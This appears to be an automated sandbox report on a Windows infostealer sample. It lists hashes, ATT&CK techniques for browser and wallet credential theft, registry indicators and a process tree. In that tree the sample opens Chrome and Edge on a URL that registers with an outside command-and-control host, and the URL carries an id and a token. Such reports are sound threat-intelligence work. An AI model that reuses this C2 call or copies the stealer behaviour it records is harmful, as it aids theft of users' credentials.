c69fd56294e6bbd872e3d2792d3f3807b2948c18d5242df5e92eb87865906ab7

Analysis

max time kernel
148s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 16:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
Size 3.9MB
Sample260804-t18ejsdf68
SHA256 c69fd56294e6bbd872e3d2792d3f3807b2948c18d5242df5e92eb87865906ab7
MD5 1d95d828e20196b5f93a5888a53fc890
SHA1 e998576cdb8486fcf407b6d204f24b221963fb19
SHA512 5d164bd90236fd27e46b5a224afef72876dfc261e936126e76776c32b57725052b2608fa79c55ec1722d7469fbed4626aeb39b31f29f04f55ce019e451da6ca2
SSDEEP 49152:LKvsSIjq5advhdZF8BXQeDlr4jYE2haqsbQxNTu+Y:GkSIjq5SlqBZEjYJhagxg+Y
TLSH
T1CD163B01EECB44F2D903163150ABB27F5339AD089F799B63FE156979FA732911C23286
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

discovery spyware stealer

Malware Config

Signatures

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4992	chrome.exe
5160	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303350200575012"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1014449518-1831897916-4205727055-1000\{E1539D1D-11D2-44E1-8273-599700E81712}	msedge.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2768	chrome.exe
2768	chrome.exe
2056	msedge.exe
2056	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2768	chrome.exe
Token: SeCreatePagefilePrivilege	2768	chrome.exe
Token: SeShutdownPrivilege	2768	chrome.exe
Token: SeCreatePagefilePrivilege	2768	chrome.exe
Token: SeShutdownPrivilege	2768	chrome.exe
Token: SeCreatePagefilePrivilege	2768	chrome.exe
Token: SeShutdownPrivilege	2768	chrome.exe
Token: SeCreatePagefilePrivilege	2768	chrome.exe
Token: SeShutdownPrivilege	2768	chrome.exe
Token: SeCreatePagefilePrivilege	2768	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2768	chrome.exe
2056	msedge.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 2768	2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe	90
PID 2768 wrote to memory of 4900	2768	chrome.exe	91
PID 2768 wrote to memory of 3744	2768	chrome.exe	92
PID 2768 wrote to memory of 4992	2768	chrome.exe	93
PID 2768 wrote to memory of 3744	2768	chrome.exe	92
PID 2768 wrote to memory of 1240	2768	chrome.exe	94
PID 2768 wrote to memory of 1240	2768	chrome.exe	94
PID 2768 wrote to memory of 3536	2768	chrome.exe	95
PID 2768 wrote to memory of 3536	2768	chrome.exe	95
PID 2768 wrote to memory of 5448	2768	chrome.exe	96
PID 2768 wrote to memory of 5448	2768	chrome.exe	96
PID 2768 wrote to memory of 2576	2768	chrome.exe	98
PID 2768 wrote to memory of 2576	2768	chrome.exe	98
PID 2768 wrote to memory of 4736	2768	chrome.exe	99
PID 2768 wrote to memory of 4736	2768	chrome.exe	99
PID 2752 wrote to memory of 2056	2752	2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe	100
PID 2056 wrote to memory of 7028	2056	msedge.exe	101
PID 2056 wrote to memory of 4720	2056	msedge.exe	102
PID 2056 wrote to memory of 5160	2056	msedge.exe	104
PID 2056 wrote to memory of 4720	2056	msedge.exe	102
PID 2056 wrote to memory of 4720	2056	msedge.exe	102
PID 2056 wrote to memory of 3052	2056	msedge.exe	105
PID 2056 wrote to memory of 3052	2056	msedge.exe	105
PID 2056 wrote to memory of 3624	2056	msedge.exe	106
PID 2056 wrote to memory of 3624	2056	msedge.exe	106
PID 2056 wrote to memory of 4288	2056	msedge.exe	107
PID 2056 wrote to memory of 3624	2056	msedge.exe	106
PID 2056 wrote to memory of 4288	2056	msedge.exe	107
PID 2056 wrote to memory of 4288	2056	msedge.exe	107
PID 2056 wrote to memory of 5492	2056	msedge.exe	108
PID 2056 wrote to memory of 5492	2056	msedge.exe	108
PID 2056 wrote to memory of 7152	2056	msedge.exe	109
PID 2056 wrote to memory of 5996	2056	msedge.exe	110
PID 2056 wrote to memory of 7152	2056	msedge.exe	109
PID 2056 wrote to memory of 5996	2056	msedge.exe	110
PID 2056 wrote to memory of 6908	2056	msedge.exe	112

C:\Users\Admin\AppData\Local\Temp\2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-04_1d95d828e20196b5f93a5888a53fc890_elex_frostygoop_hive_salatstealer_sliver.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=8AE92AB6BD24956701AEC7B30ADF174C&token=722ae1923961f3963ad6085301034f89f3c358&description=&agent=Chrome
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xa8,0x134,0x7ffc21c9c728,0x7ffc21c9c734,0x7ffc21c9c740
    3⤵
    PID:4900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,7823878595028689782,2191351372693124315,262144 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=1932 /prefetch:2
    3⤵
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1540,i,4700712731467364579,5939399751891290236,524288 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=2144 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,12262630720624702819,15518758285899634963,524288 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:13
    3⤵
    PID:1240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,9554426698545708258,12167353637705657491,2097152 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:1
    3⤵
    PID:3536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3168,i,5085084707793391689,9199753210566224270,2097152 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=3216 /prefetch:1
    3⤵
    PID:5448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4608,i,11292230819868710054,17990026681867549443,524288 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:14
    3⤵
    PID:2576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,8141769138649971516,1035497421947698187,524288 --field-trial-handle=1936,i,10133926606947449673,1019856149205283997,262144 --variations-seed-version --mojo-platform-channel-handle=4796 /prefetch:12
    3⤵
    PID:4736
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" trenadne.cyou/api/set_agent?id=8AE92AB6BD24956701AEC7B30ADF174C&token=722ae1923961f3963ad6085301034f89f3c358&description=&agent=Edge
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffc21acc188,0x7ffc21acc194,0x7ffc21acc1a0
    3⤵
    PID:7028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1772,i,17755280771223026997,5173862562590101676,262144 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
    3⤵
    PID:4720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1928,i,384732449457206388,380516118962382763,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2116,i,5219803121050832137,10662280322739138695,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:13
    3⤵
    PID:3052
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3568,i,10117618936369485227,10925840238211458828,2097152 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
    3⤵
    PID:3624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3576,i,14552844168820646781,2198162673130277650,2097152 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:4288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5020,i,9404359035212882987,11470088861152932638,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:12
    3⤵
    PID:5492
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5240,i,3743255260141719862,14803714071921889890,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:14
    3⤵
    PID:7152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,7615888598701002561,8377253086102261966,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
    3⤵
    PID:5996
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,18114827823645418917,2766641084822817342,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6196,i,18114827823645418917,2766641084822817342,524288 --field-trial-handle=2316,i,12644316254984352935,10497985434781837944,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:14
    3⤵
    PID:6908

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3820

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cc3fe49e-69cf-4338-bcc4-e59f29812cc6.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\cc3fe49e-69cf-4338-bcc4-e59f29812cc6.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 7f2d81ecac3b92bde1d1585d0a5aae870f2a931603c92e5d84a8f8bf80fdfcf1
MD5 2f1a287c2b6f4fe31eeaa38bfdf3abf3
SHA1 eda2a623923b44dc343f98d8301d63aca678dba9
SHA512 6228170c44309e0d2c8a464ab2023263a90b645527a06dc3c4411a1cbd403ce084b3d8f0d8746feb79fd53a0e87df7af6fc717741abd936f7b7df24fa19c0dee
SSDEEP 96:MkC0d+CNkx/Fc5vBh2F8vIfjnNA8Xsr6RDotok5JVDQB6xGyv1T5kqbKv4a:MkC01N2c6AGDDUD/U1U5kqbU
TLSH
T14EA11932582D9C7388B2C549B5522E43DEB8B12BF921BF94E6ED5B0C11B70FC2381A17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e9e31f5fb014f6a7439a4e224bdae6d3d8b22db7c287d9c004b0184cc18e6bf8
MD5 00fe8112e1beaff1b09c3e772b0b70e6
SHA1 1d234f4d61d2fe0153bb63a7a246d37e6fc0aabe
SHA512 aaafc34862d38399e66858477aa9d3d624e9e071371fe2961aac0159845c41dbe1ed0ae62f8b9c52f327e4e4a97abdaf614ae741bcfd2627ec55b1d4f6fb6d74
TLSH
T1EAD08071B7286847D9551931D432CB017A57546365BAD1025160410C6C7BDB553CA155
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ba1406dd0117e6bb02a18e1f0ca40a20fdf33f68d611dcf6b59a242ae289374a
MD5 8a26ea5cde92773cb558eb116e113216
SHA1 2f807e9fd5e13c4ff550fceca7d90f11683ae33e
SHA512 dca9db1a71d0ad99193f78ee9f9221519b875eb1beb13ebfbd9d64a1b449eb8a027a5b2ceadf9158001b4548f036b26ed4f2c36ce3e8b981af5a54590c0e94a5
TLSH
T1B8D0C030B7286803D5141931D022CB007A17002321BBD1025160C00C2C3BCB163CA141
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 5f5642cb1dc628af1ed0d68cfb96e3aa8c182d3b54848c2baf93089e660887f7
MD5 0a1e2e4168091abbcf2a1c25021dc0fc
SHA1 3ee69e9964e087ffef3dd1ea9358563a76979e07
SHA512 87d025a15b4259cb2d4d56c6db81993d3e241ba23834df41bac9b562a63b23edf9f030b6decda7bba4d0f6f1fe3595ccfad0e3d632ae6ced297f4e44e002fe93
SSDEEP 48:TWt/LopFMaty423w/a9NUuTjAw7ojwUwSn9wbST:6DeMatha9RAnRwSn9wuT
TLSH
T196B21F4E5F30A121E0F44B77EED184672EBC102DC36336999E5420F2CDA25ABF60607B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 a56a319a85fb3655054d96e48c5142f7085c8a26cafc6e682094f881d196ec95
MD5 71d29c904080a761125586230ebf20e5
SHA1 7c057d9ea3ff14e41997b9f46901ba04dbc7c698
SHA512 f0162b9e501870a5848b29185356afd7ea46346e053e57d8c760092691137a93ca68450e42cde47a43b3e933e50113baf906f317450810375a629c8404969927
SSDEEP 384:yv+Rp0nYrnhZZuJCXHnbB1S/HqlcDDRPbIhJ9EExiWESiNG/SOoQBUHMU3eipvIT:yv+Rp0nYrnhZZuJCXHnbB1S/HqlcDDRg
TLSH
T11EB25F51713F4680387EA90C81B8982F96C2B4637519E53F7B6802A65F67E039DFE8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 b3d8cfdf3108283d479b3b4e71d8ff5aa6477cf15ce698d9dd6537dcbcd01d37
MD5 2b5fb8d9f3bc15fe017ef973bd73ec64
SHA1 a7c061188a8e43abfb0e57945c58604ee81a0f8a
SHA512 051931431fc1f35098ae85bc7ad50302a0e1478b6e190336ec73014a3a731c0a21a25fed6175b77b353e3d690e6b2afc2f137271490fb3677582b6b1edf77f7f
SSDEEP 384:DNrRZyCSDnxTICqMEhIKyll7svbFKfk7:xFZJSDniiyI1l7svbF9
TLSH
T15544840A7B747001EDE6D9721CB080771E3C716E8F62A6D16DA254698DB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
